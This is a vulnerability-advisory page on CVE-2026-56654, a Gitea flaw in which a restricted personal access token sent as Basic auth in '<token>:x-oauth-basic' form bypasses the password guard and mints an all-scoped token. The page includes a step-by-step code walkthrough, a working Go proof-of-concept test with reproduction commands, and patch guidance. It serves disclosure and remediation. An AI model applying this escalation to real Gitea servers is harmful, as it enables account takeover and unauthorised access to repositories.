Skip to main content

Gitea CVE-2026-56654

HIGH
Improper Authentication (CWE-287)
2026-07-21 https://github.com/go-gitea/gitea GHSA-683j-3ff6-hh2x
Share

Severity by source

vuln.today AI
8.8 HIGH

Network-reachable API with low complexity; requires an existing low-privilege token so PR:L (not PR:N); yields a full-scope token giving high confidentiality, integrity and availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Estimated by vuln.today — no official severity rating has been published for this CVE yet.

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 21, 2026 - 21:03 vuln.today
Analysis Generated
Jul 21, 2026 - 21:03 vuln.today
CVE Published
Jul 21, 2026 - 20:24 cve.org
HIGH

DescriptionCVE.org

Gitea's API endpoint for creating Personal Access Tokens (POST /users/{username}/tokens) is protected by a middleware (reqBasicOrRevProxyAuth) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the Authorization: Basic <token>:x-oauth-basic format, the Basic auth handler validates it and sets AuthedMethod="basic", causing IsBasicAuth=true and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling - it will create a new token with any requested scope regardless of the caller's scope. An attacker with a restricted token (e.g. write:user from a leaked CI secret) can therefore create a fully-privileged all-scoped token without knowing the account password.

Data flow

Step 1 - Token extracted from Basic auth header

When the attacker sends Authorization: Basic base64(<token>:x-oauth-basic), parseAuthBasic detects that the password is "x-oauth-basic" and treats the username field as the token:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L55-L64

VerifyAuthToken then validates the token against the database and sets LoginMethod = "access_token" and ApiTokenScope to the token's actual scope (write:user):

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L100-L106

Step 2 - AuthedMethod is set to "basic", not "access_token"

Basic.Verify() returns the user successfully, so group.Verify() sets AuthedMethod to the method's name - "basic" - regardless of whether a password or token was used:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/group.go#L63-L65

Step 3 - IsBasicAuth is incorrectly set to true

AuthShared computes IsBasicAuth by comparing AuthedMethod against the constant "basic". Since step 2 set that field to "basic" for a token-authenticated request, the flag is wrong:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/common/auth.go#L27

Step 4 - The guard is bypassed

reqBasicOrRevProxyAuth checks only ctx.IsBasicAuth. Because that flag is true, the middleware passes and the request reaches CreateAccessToken:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/api.go#L392-L401

Step 5 - No scope ceiling in the handler

CreateAccessToken normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of ApiTokenScope (write:user):

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/app.go#L119-L128

Reproducing

tests/integration/api_token_scope_escalation_test.go

go
package integration

import (
	"net/http"
	"testing"

	auth_model "gitea.dev/models/auth"
	"gitea.dev/models/unittest"
	user_model "gitea.dev/models/user"
	api "gitea.dev/modules/structs"
	"gitea.dev/tests"

	"github.com/stretchr/testify/assert"
	"github.com/stretchr/testify/require"
)

// TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two
// interconnected vulnerabilities that together allow full scope escalation:
//
//  1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in
//     the Authorization: Basic "<token>:x-oauth-basic" format. The Basic auth
//     handler sets AuthedMethod="basic" (the method name), so IsBasicAuth=true
//     even though the credential is a token, not a password.
//
//  2. CreateAccessToken performs no scope-ceiling check - it never verifies that
//     the requested scopes are a subset of the caller's token scopes.
//
// Combined effect: an attacker with a write:user-scoped token can create a new
// token with the "all" scope, gaining full access to the account.
func TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) {
	defer tests.PrepareTestEnv(t)()

	// Non-admin user - escalation is meaningful and not trivially justified.
	user := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})

	// Step 1 - Obtain a legitimately restricted token via password-based Basic auth.
	// Only write:user scope is granted; repository, admin, etc. are excluded.
	restrictedToken := createAPIAccessTokenWithoutCleanUp(t, "poc-restricted", user,
		[]auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser})
	defer deleteAPIAccessToken(t, restrictedToken, user)

	// Confirm the restricted token is blocked from repository-scoped endpoints.
	// This establishes the baseline: write:user does not imply read:repository.
	req := NewRequest(t, "GET", "/api/v1/repos/search").
		AddTokenAuth(restrictedToken.Token)
	MakeRequest(t, req, http.StatusForbidden)

	// Step 2 - Exploit: supply the restricted token as Basic auth credentials.
	// Authorization: Basic base64("<token>:x-oauth-basic")
	//
	// Basic.Verify() validates the token and returns the user. group.Verify() then
	// sets AuthedMethod="basic" (the method name). auth.go maps that to
	// IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no
	// password was provided. CreateAccessToken then creates the token with the
	// requested "all" scope without checking whether it exceeds the caller's scope.
	payload := map[string]any{
		"name":   "poc-escalated",
		"scopes": []string{"all"},
	}
	req = NewRequestWithJSON(t, "POST", "/api/v1/users/"+user.LoginName+"/tokens", payload)
	req.SetBasicAuth(restrictedToken.Token, "x-oauth-basic")

	// This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed)
	// but is currently 201, confirming the vulnerability.
	resp := MakeRequest(t, req, http.StatusCreated)

	escalatedToken := DecodeJSON(t, resp, &api.AccessToken{})
	require.NotNil(t, escalatedToken)
	defer deleteAPIAccessToken(t, *escalatedToken, user)

	// Step 3 - The escalated token carries the "all" scope.
	assert.Contains(t, escalatedToken.Scopes, "all",
		"escalated token scope must be 'all'; original token only had write:user")

	// Step 4 - The escalated token can now reach endpoints blocked to the original
	// token, confirming real privilege gain beyond write:user.
	req = NewRequest(t, "GET", "/api/v1/repos/search").
		AddTokenAuth(escalatedToken.Token)
	MakeRequest(t, req, http.StatusOK)
}
bash
git clone https://github.com/go-gitea/gitea
cd gitea
git checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e
# Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`.

go test -run '^TestAPIPrivilegeEscalationViaBasicAuthToken$' ./tests/integration/

A passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.

AnalysisAI

Privilege escalation in Gitea versions prior to 1.27.0 lets any holder of a low-scope personal access token mint a fully-privileged token without the account password. Supplying a restricted token (e.g. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Obtain leaked low-scope token
Delivery
Send POST to /users/{username}/tokens
Exploit
Supply token as Basic <token>:x-oauth-basic
Execution
Bypass reqBasicOrRevProxyAuth via IsBasicAuth
Persist
Handler mints all-scoped token without ceiling
Impact
Use full-privilege token for account takeover

Vulnerability AssessmentAI

Exploitation The attacker must already possess a valid Gitea personal access token for the target account - any scope suffices, including a heavily restricted one such as write:user, and the account password is NOT required. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment No official CVSS or EPSS score is provided in the input, and this CVE is not listed in CISA KEV, so exploitation appears PoC-stage rather than confirmed active. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker recovers a narrowly-scoped Gitea token (for example a write:user token) leaked from a CI job log or a misconfigured pipeline variable. They send POST /api/v1/users/<victim>/tokens with the token as Basic auth in <token>:x-oauth-basic form and a body requesting scopes ["all"], receiving 201 Created and a new all-scoped token granting full account access. …
Remediation Upgrade to Gitea 1.27.0 or later, the vendor-released patch that adds the CanCreateChildScope scope-ceiling enforcement (advisory https://github.com/go-gitea/gitea/security/advisories/GHSA-683j-3ff6-hh2x, pull requests https://github.com/go-gitea/gitea/pull/38406 and https://github.com/go-gitea/gitea/pull/38426, commits de4b8277e9cb576f2315fb03b5ab6478b42a1d31 and f69e15afe7496cc62e96dab244629c69eb31a7bf). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, identify and document all Gitea deployments and their current versions to determine exposure scope. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Gitea

View all
CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2020-13246 HIGH POC
7.5 May 20

An issue was discovered in Gitea through 1.11.5. Rated high severity (CVSS 7.5), this vulnerability is remotely exploita

CVE-2022-0905 HIGH POC
7.1 Mar 10

Missing Authorization in GitHub repository go-gitea/gitea prior to 1.16.4. Rated high severity (CVSS 7.1), this vulnerab

CVE-2022-1058 MEDIUM POC
6.1 Mar 24

Open Redirect on login in GitHub repository go-gitea/gitea prior to 1.16.5. Rated medium severity (CVSS 6.1), this vulne

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-27780 CRITICAL
9.8 Jul 03

Branch-protection bypass in Gitea's self-hosted Git server (all versions before 1.26.0) allows a user with push access t

CVE-2026-26292 CRITICAL
9.8 Jul 03

Migration transport protections in Gitea are bypassed for Git LFS operations, affecting all self-hosted instances before

Share

CVE-2026-56654 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy